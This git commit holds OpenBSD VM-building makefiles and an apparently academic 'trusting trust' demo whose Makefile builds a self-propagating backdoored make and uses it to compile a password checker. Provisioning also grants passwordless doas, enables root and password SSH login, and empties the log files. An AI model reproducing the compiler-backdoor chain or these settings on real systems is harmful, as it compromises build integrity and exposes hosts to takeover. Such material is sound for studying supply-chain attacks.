init
This commit is contained in:
Samuel Aubertin
commit
b7fc6a248f
186
opack/defines.mk
Normal file
186
opack/defines.mk
Normal file
@ -0,0 +1,186 @@
|
||||
define newline
|
||||
|
||||
|
||||
endef
|
||||
|
||||
define OPACK_PACKER_CONTENT =
|
||||
{
|
||||
"description": "OpenBSD ${OPACK_SYS_VERSION} ${OPACK_SYS_ARCHITECTURE}",
|
||||
"variables": {
|
||||
"box_tag": "${OPACK_SYS_HOSTNAME}-${OPACK_TARGET}-{{ timestamp }}",
|
||||
"disk_size": "${OPACK_SYS_DISK_SIZE}",
|
||||
"memory": "${OPACK_SYS_MEMORY}",
|
||||
"cpus": "${OPACK_SYS_CPU}",
|
||||
"version": "${OPACK_BOX_VERSION}" },
|
||||
"builders": [ {
|
||||
"type": "qemu",
|
||||
"vm_name": "${OPACK_SYS_HOSTNAME}-${OPACK_TARGET}",
|
||||
"cpus": "{{user `cpus`}}",
|
||||
"memory": "{{user `memory`}}",
|
||||
"headless": ${OPACK_SYS_HEADLESS},
|
||||
"boot_key_interval": "10ms",
|
||||
"disk_size": "{{user `disk_size`}}",
|
||||
"disk_interface": "virtio",
|
||||
"disk_compression": true,
|
||||
"http_directory": "./http",
|
||||
"iso_urls": "${OPACK_SYS_ISO_URL}",
|
||||
"iso_checksum": "sha256:${OPACK_SYS_ISO_SHA256SUM}",
|
||||
"net_device": "virtio-net",
|
||||
"communicator": "ssh",
|
||||
"ssh_username": "root",
|
||||
"ssh_private_key_file": "vagrant.key",
|
||||
"ssh_wait_timeout": "60m",
|
||||
"shutdown_command": "shutdown -p now",
|
||||
"boot_wait": "30s",
|
||||
"boot_command": [ "S<enter><wait>",
|
||||
"# ~~~ OPACK - OpenBSD Packing ~~~~<enter>",
|
||||
"# ${OPACK_COMMIT} <enter>",
|
||||
$(if $(filter-out snapshots 7.0 7.1, ${OPACK_SYS_VERSION}),"dhclient vio0 ","ifconfig vio0 inet autoconf "),
|
||||
"& sleep 1 && wait && ftp http://{{ .HTTPIP }}:{{ .HTTPPort }}/install.conf && ftp http://{{ .HTTPIP }}:{{ .HTTPPort }}/autodisklabel && install -af install.conf && echo permit nopass :wheel > /mnt/etc/doas.conf && ",
|
||||
$(if $(filter-out snapshots 7.0 7.1, ${OPACK_SYS_VERSION}),"echo dhcp > /mnt/etc/hostname.vio0 && echo http://${OPACK_SYS_SERVER}/pub/OpenBSD/ > /mnt/etc/installurl ","echo inet autoconf > /mnt/etc/hostname.vio0 && echo PubkeyAcceptedAlgorithms +ssh-rsa >> /mnt/etc/ssh/sshd_config "),
|
||||
"&& reboot<enter>" ]
|
||||
} ],
|
||||
"provisioners": [
|
||||
{
|
||||
"type": "shell",
|
||||
"scripts": ["../../provision-openbsd.sh"]
|
||||
}
|
||||
],
|
||||
"post-processors": [ [
|
||||
{ "name": "vagrant",
|
||||
"type": "vagrant",
|
||||
"compression_level": 9,
|
||||
"output": "../${OPACK_BOX_FILE}" }
|
||||
] ]
|
||||
}
|
||||
endef
|
||||
|
||||
define OPACK_PACKER_CLOUD_CONTENT =
|
||||
{
|
||||
"description": "OpenBSD ${OPACK_SYS_VERSION} ${OPACK_SYS_ARCHITECTURE} cloud",
|
||||
"variables": {
|
||||
"box_tag": "${OPACK_SYS_HOSTNAME}-${OPACK_TARGET}-{{ timestamp }}",
|
||||
"disk_size": "${OPACK_SYS_DISK_SIZE}",
|
||||
"memory": "${OPACK_SYS_MEMORY}",
|
||||
"cpus": "${OPACK_SYS_CPU}",
|
||||
"gcloud_account_json": "../../${GCE_JSON_KEY}",
|
||||
"gcloud_project_id": "${GCE_PROJECT}",
|
||||
"version": "${OPACK_BOX_VERSION}" },
|
||||
"builders": [ {
|
||||
"type": "qemu",
|
||||
"format": "raw",
|
||||
"vm_name": "disk.raw",
|
||||
"cpus": "{{user `cpus`}}",
|
||||
"memory": "{{user `memory`}}",
|
||||
"headless": ${OPACK_SYS_HEADLESS},
|
||||
"boot_key_interval": "10ms",
|
||||
"disk_size": "{{user `disk_size`}}",
|
||||
"disk_interface": "virtio",
|
||||
"disk_compression": true,
|
||||
"http_directory": "./http",
|
||||
"iso_urls": "${OPACK_SYS_ISO_URL}",
|
||||
"iso_checksum": "sha256:${OPACK_SYS_ISO_SHA256SUM}",
|
||||
"net_device": "virtio-net",
|
||||
"communicator": "ssh",
|
||||
"ssh_username": "root",
|
||||
"ssh_private_key_file": "${OPACK_SYS_SSH_PRIVATE_KEY}",
|
||||
"ssh_wait_timeout": "60m",
|
||||
"shutdown_command": "shutdown -p now",
|
||||
"boot_wait": "30s",
|
||||
"boot_command": [ "S<enter><wait>",
|
||||
"# ~~~ OPACK - OpenBSD Packing ~~~~<enter>",
|
||||
"# ${OPACK_COMMIT} <enter>",
|
||||
$(if $(filter-out snapshots 7.0 7.1, ${OPACK_SYS_VERSION}),"dhclient vio0 ","ifconfig vio0 inet autoconf "),
|
||||
"& sleep 1 && wait && ftp http://{{ .HTTPIP }}:{{ .HTTPPort }}/install.conf && ftp http://{{ .HTTPIP }}:{{ .HTTPPort }}/autodisklabel && install -af install.conf && echo permit nopass :wheel > /mnt/etc/doas.conf && ",
|
||||
$(if $(filter-out snapshots 7.0 7.1, ${OPACK_SYS_VERSION}),"echo dhcp > /mnt/etc/hostname.vio0 && echo http://${OPACK_SYS_SERVER}/pub/OpenBSD/ > /mnt/etc/installurl ","echo inet autoconf > /mnt/etc/hostname.vio0 && echo PubkeyAcceptedAlgorithms +ssh-rsa >> /mnt/etc/ssh/sshd_config "),
|
||||
"&& reboot<enter>" ]
|
||||
} ],
|
||||
"provisioners": [
|
||||
{
|
||||
"type": "file",
|
||||
"source": "$(PROTECME_TOP_DIR)/src",
|
||||
"destination": "/root/magma"
|
||||
},
|
||||
{
|
||||
"type": "file",
|
||||
"source": "$(PROTECME_SPEC_DIR)/openbsd",
|
||||
"destination": "/var/spec2006src"
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"scripts": ["../../provision-openbsd.sh"]
|
||||
}
|
||||
],
|
||||
"post-processors": [ [
|
||||
{ "name": "Compress",
|
||||
"type": "compress",
|
||||
"compression_level": 9,
|
||||
"output": "disk.raw.tar.gz"
|
||||
},
|
||||
{ "name": "GCP Import",
|
||||
"type": "googlecompute-import",
|
||||
"project_id": "{{user `gcloud_project_id`}}",
|
||||
"account_file": "{{user `gcloud_account_json`}}",
|
||||
"bucket": "${GCE_BUCKET}",
|
||||
"image_name": "${OPACK_TARGET}",
|
||||
"image_description": "${OPACK_COMMIT}",
|
||||
"image_family": "openbsd",
|
||||
"keep_input_artifact": true
|
||||
}
|
||||
] ]
|
||||
}
|
||||
endef
|
||||
|
||||
|
||||
define OPACK_INSTALL_CONTENT =
|
||||
Choose your keyboard layout = fr
|
||||
System hostname = ${OPACK_SYS_HOSTNAME}-${OPACK_TARGET}
|
||||
Which network interface = vio0
|
||||
IPv4 address for vio0 = dhcp
|
||||
IPv6 address for vio0 = none
|
||||
Password for root account = ${OPACK_SYS_PASSWORD}
|
||||
Public ssh key for root account = ${OPACK_SYS_SSH_KEY}
|
||||
Allow root ssh login = prohibit-password
|
||||
Do you expect to run the X Window System = ${OPACK_SYS_XENOCARA}
|
||||
Setup a user = ${OPACK_SYS_USER}
|
||||
Password for user ${OPACK_SYS_USER} = ${OPACK_SYS_PASSWORD}
|
||||
Public ssh key for ${OPACK_SYS_USER} = ${OPACK_SYS_SSH_KEY}
|
||||
Allow root ssh login = prohibit-password
|
||||
What timezone = ${OPACK_SYS_TIMEZONE}
|
||||
Which disk = sd0
|
||||
Use (W)hole disk or (E)dit the MBR = whole
|
||||
URL to autopartitioning template for disklabel = file:/autodisklabel
|
||||
Use (A)uto layout, (E)dit auto layout, or create (C)ustom layout = A
|
||||
Location of sets = ${OPACK_SYS_SETS_LOCATION}
|
||||
HTTP Server = ${OPACK_SYS_SERVER}
|
||||
Server directory = pub/OpenBSD/${OPACK_SYS_VERSION}/${OPACK_SYS_ARCHITECTURE}
|
||||
Unable to connect using https. Use http instead = yes
|
||||
#Pathname to the sets = ${OPACK_SYS_VERSION_NUMBER}/amd64
|
||||
Set name(s) = ${OPACK_SYS_SETS} done
|
||||
Directory does not contain SHA256.sig. Continue without verification = ${OPACK_NO_SIGCHK}
|
||||
Signature check of SHA256.sig failed. Continue without verification = no
|
||||
Cannot determine prefetch area. Continue without verification = yes
|
||||
Location of sets? = done
|
||||
|
||||
endef
|
||||
|
||||
define OPACK_METADATA_CONTENT =
|
||||
{
|
||||
"name": "${OPACK_BOX_TAG}",
|
||||
"description": "OPACK - $(OPACK_COMMIT)",
|
||||
"versions": [
|
||||
{
|
||||
"version": "${OPACK_BOX_VERSION}",
|
||||
"providers": [
|
||||
{
|
||||
"name": "libvirt",
|
||||
"url": "${OPACK_BOX_FILE}",
|
||||
"checksum_type": "sha256",
|
||||
"checksum": "${OPACK_BOX_FILE_SHA256}"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
endef
|
||||
72
opack/include.mk
Normal file
72
opack/include.mk
Normal file
@ -0,0 +1,72 @@
|
||||
.PHONY: clean cleancache cleanall build
|
||||
.DEFAULT_GOAL := build
|
||||
include ../opack/options.mk
|
||||
include ../opack/defines.mk
|
||||
|
||||
$(OPACK_PACKER_HTTP_DIR) $(OPACK_PACKER_DIR) ../$(OPACK_CACHE_DIR):
|
||||
@mkdir -p $@
|
||||
|
||||
$(OPACK_PACKER_DIR)/vagrant.key: | $(OPACK_PACKER_DIR)
|
||||
@curl -s -o $@ https://raw.githubusercontent.com/hashicorp/vagrant/master/keys/vagrant
|
||||
|
||||
$(OPACK_PACKER_DIR)/opack.json: | $(OPACK_PACKER_DIR)
|
||||
@printf '$(subst $(newline),\n,${OPACK_PACKER_CONTENT})' > $@
|
||||
|
||||
$(OPACK_PACKER_DIR)/bucket.json:
|
||||
@printf '{ "name": "$(GCE_BUCKET)", "location": "$(GCE_BUCKET_LOCATION)", "storageClass": "STANDARD", "iamConfiguration": {"uniformBucketLevelAccess": { "enabled": true }, } }' > $@
|
||||
|
||||
$(OPACK_PACKER_DIR)/opack-cloud.json: | $(OPACK_PACKER_DIR) $(OPACK_PACKER_DIR)/bucket.json
|
||||
@printf '$(subst $(newline),\n,${OPACK_PACKER_CLOUD_CONTENT})' > $@
|
||||
@curl -X POST -s -o /dev/null \
|
||||
--data-binary @$(OPACK_PACKER_DIR)/bucket.json \
|
||||
-H "Authorization: Bearer $(STORAGE_TOKEN)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=$(GCE_PROJECT)"
|
||||
@curl -X DELETE -s -o /dev/null \
|
||||
-H "Authorization: Bearer $(IMAGE_TOKEN)" \
|
||||
"https://compute.googleapis.com/compute/v1/projects/$(GCE_PROJECT)/global/images/$(OPACK_TARGET)"
|
||||
|
||||
$(OPACK_PACKER_HTTP_DIR)/install.conf: | $(OPACK_PACKER_HTTP_DIR)
|
||||
@printf '$(subst $(newline),\n,${OPACK_INSTALL_CONTENT})' > $@
|
||||
|
||||
$(OPACK_PACKER_HTTP_DIR)/autodisklabel: | $(OPACK_PACKER_HTTP_DIR)
|
||||
@cp autodisklabel $@
|
||||
|
||||
../provision-openbsd.sh:
|
||||
@echo you need to write $@ && exit 1
|
||||
|
||||
../id_ed25519:
|
||||
@echo you need to generate the ssh key with 'make sshkey' && exit 1
|
||||
|
||||
$(OPACK_BOX_FILE): | $(OPACK_PACKER_DIR)/opack.json $(OPACK_PACKER_DIR)/vagrant.key ../provision-openbsd.sh $(OPACK_PACKER_HTTP_DIR)/install.conf $(OPACK_PACKER_HTTP_DIR)/autodisklabel
|
||||
@cd $(OPACK_PACKER_DIR) &&\
|
||||
CHECKPOINT_DISABLE=1 PACKER_CACHE_DIR=../../$(OPACK_CACHE_DIR)\
|
||||
packer build\
|
||||
-timestamp-ui opack.json &&\
|
||||
rm -rf $(OPACK_PACKER_DIR)
|
||||
|
||||
$(OPACK_CLOUD): | $(OPACK_PACKER_DIR)/opack-cloud.json ../id_ed25519 ../provision-openbsd.sh $(OPACK_PACKER_HTTP_DIR)/install.conf $(OPACK_PACKER_HTTP_DIR)/autodisklabel
|
||||
@cd $(OPACK_PACKER_DIR) &&\
|
||||
CHECKPOINT_DISABLE=1 PACKER_CACHE_DIR=../../$(OPACK_CACHE_DIR)\
|
||||
packer build\
|
||||
-timestamp-ui opack-cloud.json | tee -a ../$@ &&\
|
||||
rm -rf $(OPACK_PACKER_DIR)
|
||||
|
||||
|
||||
$(OPACK_META_FILE): $(OPACK_BOX_FILE)
|
||||
@printf '$(subst $(OPACK_BOX_FILE_SHA256),$(shell sha256sum $(OPACK_BOX_FILE) | awk '{print $$1}'),$(subst $(newline),\n,${OPACK_METADATA_CONTENT}))' > $@
|
||||
@vagrant box add -f --name $(OPACK_BOX_TAG) $(OPACK_META_FILE)
|
||||
|
||||
build: $(OPACK_META_FILE)
|
||||
@export VAGRANT_CLOUD_TOKEN=$$(cat ../up.secret) && vagrant up
|
||||
|
||||
clean:
|
||||
@-vagrant destroy -f
|
||||
@-cd terraform_??????? 2>/dev/null && terraform destroy -auto-approve && cd .. && rm -rf terraform_???????
|
||||
@-rm -rf opack_build_??????? *.log ssh-config .vagrant *.json
|
||||
|
||||
cleancache:
|
||||
@-vagrant box remove -f --all $(OPACK_BOX_TAG)
|
||||
@-rm -rf ../$(OPACK_CACHE_DIR)
|
||||
|
||||
cleanall: clean cleancache
|
||||
36
opack/options.mk
Normal file
36
opack/options.mk
Normal file
@ -0,0 +1,36 @@
|
||||
.SILENT:
|
||||
OPACK_SYS_HOSTNAME?= opack
|
||||
OPACK_SYS_USER?= opack
|
||||
OPACK_SYS_PASSWORD?= opack
|
||||
OPACK_SYS_DISK_SIZE?= 4096
|
||||
OPACK_SYS_MEMORY?= 512
|
||||
OPACK_SYS_CPU?= 1
|
||||
OPACK_SYS_VERSION?=7.1
|
||||
OPACK_SYS_VERSION_NUMBER?=7.1
|
||||
OPACK_SYS_RELEASE?=OPENBSD_7_1
|
||||
OPACK_SYS_CVS_REPO?=anoncvs.fr.openbsd.org
|
||||
OPACK_SYS_SERVER?=ftp.fr.openbsd.org
|
||||
OPACK_SYS_ARCHITECTURE?=amd64
|
||||
OPACK_SYS_XENOCARA?=no
|
||||
OPACK_SYS_PORTS?=no
|
||||
OPACK_SYS_SETS?=+* -x* +xbase* -game* -comp* -man* -bsd.rd
|
||||
OPACK_SYS_TIMEZONE?=Europe/Paris
|
||||
OPACK_SYS_SSH_KEY?=$(shell curl -s https://raw.githubusercontent.com/hashicorp/vagrant/master/keys/vagrant.pub)
|
||||
OPACK_PACKER_VERSION?=$$(curl -s https://checkpoint-api.hashicorp.com/v1/check/packer | jq -r .current_version)
|
||||
OPACK_PACKER_HTTP_DIR?=$(OPACK_PACKER_DIR)/http
|
||||
OPACK_SYS_ISO_URL?=https://$(OPACK_SYS_SERVER)/pub/OpenBSD/$(OPACK_SYS_VERSION)/$(OPACK_SYS_ARCHITECTURE)/cd$(shell echo $(OPACK_SYS_VERSION_NUMBER) | sed 's/\.//').iso
|
||||
OPACK_SYS_ISO_SHA256SUM?=$(shell curl -s https://$(OPACK_SYS_SERVER)/pub/OpenBSD/$(OPACK_SYS_VERSION)/amd64/SHA256 | grep cd$(shell echo $(OPACK_SYS_VERSION_NUMBER) | sed 's/\.//').iso | cut -d"=" -f2 | tr -d ' ')
|
||||
OPACK_COMMIT?=$(shell git log --oneline -n 1 --abbrev-commit --date=short --pretty=format:"%h %ad %s")
|
||||
OPACK_SHORT_REV?=$(shell git rev-parse --short HEAD)
|
||||
OPACK_SYS_SETS_LOCATION?=http
|
||||
OPACK_NO_SIGCHK?=no
|
||||
OPACK_SYS_HEADLESS?=true
|
||||
OPACK_CACHE_DIR?=opack_cache
|
||||
OPACK_BOX_FILE?=../$(OPACK_CACHE_DIR)/$(OPACK_TARGET).box
|
||||
OPACK_META_FILE?=$(OPACK_TARGET).json
|
||||
OPACK_BOX_VERSION?=1.$(shell date +%s).$(OPACK_SHORT_REV)
|
||||
OPACK_BOX_FILE_SHA256?=XXXtoreplaceXXX
|
||||
OPACK_BOX_TAG?=opack/$(OPACK_TARGET)
|
||||
OPACK_CACHE_DIR?=opack_cache
|
||||
OPACK_PACKER_DIR?=opack_build_$(OPACK_SHORT_REV)
|
||||
OPACK_CLOUD?=$(OPACK_PACKER_DIR)/created
|
||||
22
provision-openbsd.sh
Normal file
22
provision-openbsd.sh
Normal file
@ -0,0 +1,22 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
set +x
|
||||
|
||||
|
||||
(
|
||||
echo MAGMA : Starting packer provisioning.
|
||||
sysctl -n kern.version
|
||||
printf 'permit nopass :wheel\n' > /etc/doas.conf
|
||||
printf 'PasswordAuthentication yes\nPermitRootLogin yes\n' >> /etc/ssh/sshd_config
|
||||
echo Cleaning SSH keys
|
||||
rm -f /etc/ssh/ssh_host*
|
||||
echo Cleaning caches
|
||||
find /var/log -type f | while read f; do echo -ne '' > $f; done
|
||||
find /tmp -type f | while read f; do echo -ne '' > $f; done
|
||||
#echo Filling /EMPTY with zeroes...
|
||||
#dd if="/dev/zero" of="/EMPTY" bs=4096 > /dev/null 2>&1 || rm -f "/EMPTY"
|
||||
sync
|
||||
sync
|
||||
echo Packer provisionning done.
|
||||
)
|
||||
exit 0
|
||||
18
trusting-make/Makefile
Normal file
18
trusting-make/Makefile
Normal file
@ -0,0 +1,18 @@
|
||||
OPACK_TARGET= trusting-make
|
||||
OPACK_SYS_CPU= 2
|
||||
OPACK_SYS_DISK_SIZE= 8192
|
||||
OPACK_SYS_SETS= +* -game*
|
||||
OPACK_BOX_TAG= sk4nz/opack-$(OPACK_TARGET)
|
||||
|
||||
BIN= make
|
||||
BINDIR= /usr/src/usr.bin/$(BIN)
|
||||
|
||||
include ../opack/include.mk
|
||||
|
||||
all: build
|
||||
vagrant up
|
||||
#vagrant ssh -c "make -C $(BINDIR)"
|
||||
(echo Host $(OPACK_TARGET) && (vagrant ssh-config | sed '1d')) > ssh-config
|
||||
scp -F ssh-config -q -r src $(OPACK_TARGET):/root/backdoor
|
||||
vagrant ssh -c "make -C backdoor"
|
||||
|
||||
32
trusting-make/Vagrantfile
vendored
Normal file
32
trusting-make/Vagrantfile
vendored
Normal file
@ -0,0 +1,32 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
ENV['VAGRANT_DEFAULT_PROVIDER'] = 'libvirt'
|
||||
Vagrant.configure("2") do |config|
|
||||
config.vm.define "OpenBSD - trusting-make"
|
||||
config.vm.box = "sk4nz/opack-trusting-make"
|
||||
config.ssh.shell = "ksh -l"
|
||||
config.ssh.username = "root"
|
||||
config.ssh.extra_args = "-tt"
|
||||
config.ssh.sudo_command = "doas env %c"
|
||||
config.vm.synced_folder ".", "/vagrant", disabled: true
|
||||
config.vm.provision "trusting-make", type: "shell" do |s|
|
||||
s.inline = "echo hw.smt=1 >> /etc/sysctl.conf; \
|
||||
echo vm.malloc_conf= >> /etc/sysctl.conf; \
|
||||
echo kern.shminfo.shmmax=335544320 >> /etc/sysctl.conf; \
|
||||
echo kern.shminfo.shmseg=1280 >> /etc/sysctl.conf; \
|
||||
sysctl hw.smt=1; \
|
||||
sysctl vm.malloc_conf=; \
|
||||
sysctl kern.shminfo.shmmax=335544320; \
|
||||
sysctl kern.shminfo.shmseg=1280; \
|
||||
pkg_add -u; \
|
||||
pkg_add git htop coreutils base64 tmux vim--no_x11; \
|
||||
cd /usr; rm -rf src; git clone --depth 1 https://github.com/openbsd/src src; \
|
||||
"
|
||||
end
|
||||
config.vm.provider "libvirt" do |l|
|
||||
l.cpus = 8
|
||||
l.memory = 8192
|
||||
# l.uri = 'qemu:///system'
|
||||
end
|
||||
end
|
||||
2
trusting-make/autodisklabel
Normal file
2
trusting-make/autodisklabel
Normal file
@ -0,0 +1,2 @@
|
||||
/ 256M-* 90%
|
||||
swap 1G-16G 10%
|
||||
80
trusting-make/src/Makefile
Normal file
80
trusting-make/src/Makefile
Normal file
@ -0,0 +1,80 @@
|
||||
TEMP!?= mktemp -d /tmp/evil-XXXXXX
|
||||
LEGIT_SRC= /usr/src/usr.bin/make
|
||||
LEGIT_BIN= /usr/bin/make
|
||||
BACKDOOR_SRC= make-src-backdoor
|
||||
BACKDOOR_BIN= make-bin-backdoor
|
||||
PATCH= $(TEMP)/backdoor.patch
|
||||
HALSRC= HAL9000SRC
|
||||
HAL= ./HAL9000
|
||||
BACKDOORED_HAL= ./HAL9000-backdoored
|
||||
PASS?!= openssl rand 12 | base64
|
||||
|
||||
.PHONY: clean diff
|
||||
#.SILENT:
|
||||
|
||||
all: $(HAL) $(BACKDOORED_HAL)
|
||||
echo "\033[94m5 - Trying \033[3m$(HAL)\033[23m with\033[36m" $(PASS)
|
||||
echo $(PASS) | $(HAL) || true
|
||||
echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS)
|
||||
echo $(PASS) | $(BACKDOORED_HAL)
|
||||
|
||||
|
||||
$(HAL): $(HALSRC)
|
||||
echo "\033[94m1 - Compiling HAL9000 with legit make from legit source\033[0m"
|
||||
$(MAKE) -C $(HALSRC)
|
||||
cp $(HALSRC)/$(HAL) $@
|
||||
echo "\033[94m HAL9000 = \033[3m$@\033[0m"
|
||||
$(MAKE) -C $(HALSRC) clean
|
||||
|
||||
$(BACKDOORED_HAL): $(BACKDOOR_BIN) $(HALSRC)
|
||||
sleep 1
|
||||
echo "\033[94m4 - Compiling HAL9000-backdoored with binary-backdoor-make from legit source\033[0m"
|
||||
#@while ! $(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done
|
||||
$(BACKDOOR_BIN) -C $(HALSRC)
|
||||
cp $(HALSRC)/$(HAL) $@
|
||||
echo "\033[94m HAL9000-backdoored = \033[3m$@\033[0m"
|
||||
$(MAKE) -C $(HALSRC) clean
|
||||
|
||||
$(HALSRC):
|
||||
git clone https://gitlab.eurecom.fr/aubertin/hal9000.git $@
|
||||
|
||||
$(TEMP)/Makefile:
|
||||
cp -r $(LEGIT_SRC)/* $$(dirname $@)
|
||||
|
||||
$(PATCH):
|
||||
diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
|
||||
sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
|
||||
sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
|
||||
sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3
|
||||
|
||||
$(TEMP)/$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
|
||||
patch -d $(TEMP) -s -R engine.c $(PATCH).3
|
||||
$(MAKE) -C $(TEMP) -s clean
|
||||
echo "\033[94m2 - Compiling $@ with legit make from evil source\033[0m"
|
||||
$(MAKE) -C $(TEMP) -s
|
||||
echo "\033[94m make with source backdoor = \033[3m$@\033[0m"
|
||||
|
||||
$(BACKDOOR_BIN): $(TEMP)/$(BACKDOOR_SRC)
|
||||
echo "\033[94m3 - Compiling $@ with source-backdoor-make from legit source\033[0m"
|
||||
$(MAKE) -C $(LEGIT_SRC) -s clean
|
||||
$(TEMP)/make -s -C $(LEGIT_SRC)
|
||||
mv $(LEGIT_SRC)/make $@
|
||||
echo "\033[94m make with binary backdoor = \033[3m$@\033[0m"
|
||||
|
||||
$(LEGITMK):
|
||||
echo "\033[94m3 - Compiling legit make with system make from legit source\033[0m"
|
||||
$(MAKE) -C $(LEGIT_SRC) -s clean
|
||||
$(TEMP)/make -s -C $(LEGIT_SRC)
|
||||
mv $(LEGIT_SRC)/make $@
|
||||
echo "\033[94m legit make = \033[3m$@\033[0m"
|
||||
|
||||
|
||||
diff:
|
||||
pkg_add -I radare2
|
||||
radiff2 -a x86 -A -d -D $(TEMP) $(LEGIT_BIN)
|
||||
|
||||
|
||||
clean:
|
||||
rm -rf /tmp/evil-?????? $(HAL) $(BACKDOORED_HAL)
|
||||
$(MAKE) -C $(LEGIT_SRC) -s clean
|
||||
|
||||
845
trusting-make/src/engine.c
Normal file
845
trusting-make/src/engine.c
Normal file
@ -0,0 +1,845 @@
|
||||
/* $OpenBSD: engine.c,v 1.70 2021/10/25 19:54:29 kn Exp $ */
|
||||
/*
|
||||
* Copyright (c) 2012 Marc Espie.
|
||||
*
|
||||
* Extensive code modifications for the OpenBSD project.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE OPENBSD PROJECT AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENBSD
|
||||
* PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
/*
|
||||
* Copyright (c) 1988, 1989, 1990 The Regents of the University of California.
|
||||
* Copyright (c) 1988, 1989 by Adam de Boor
|
||||
* Copyright (c) 1989 by Berkeley Softworks
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Adam de Boor.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <assert.h>
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <signal.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include "config.h"
|
||||
#include "defines.h"
|
||||
#include "dir.h"
|
||||
#include "engine.h"
|
||||
#include "arch.h"
|
||||
#include "gnode.h"
|
||||
#include "targ.h"
|
||||
#include "var.h"
|
||||
#include "extern.h"
|
||||
#include "lst.h"
|
||||
#include "timestamp.h"
|
||||
#include "make.h"
|
||||
#include "pathnames.h"
|
||||
#include "error.h"
|
||||
#include "str.h"
|
||||
#include "memory.h"
|
||||
#include "buf.h"
|
||||
#include "job.h"
|
||||
#include "lowparse.h"
|
||||
|
||||
static void MakeTimeStamp(void *, void *);
|
||||
static int rewrite_time(const char *);
|
||||
static void setup_meta(void);
|
||||
static void setup_engine(void);
|
||||
static char **recheck_command_for_shell(char **);
|
||||
static void list_parents(GNode *, FILE *);
|
||||
|
||||
/* XXX due to a bug in make's logic, targets looking like *.a or -l*
|
||||
* have been silently dropped when make couldn't figure them out.
|
||||
* Now, we warn about them until all Makefile bugs have been fixed.
|
||||
*/
|
||||
static bool
|
||||
drop_silently(const char *s)
|
||||
{
|
||||
size_t len;
|
||||
|
||||
if (s[0] == '-' && s[1] == 'l')
|
||||
return true;
|
||||
|
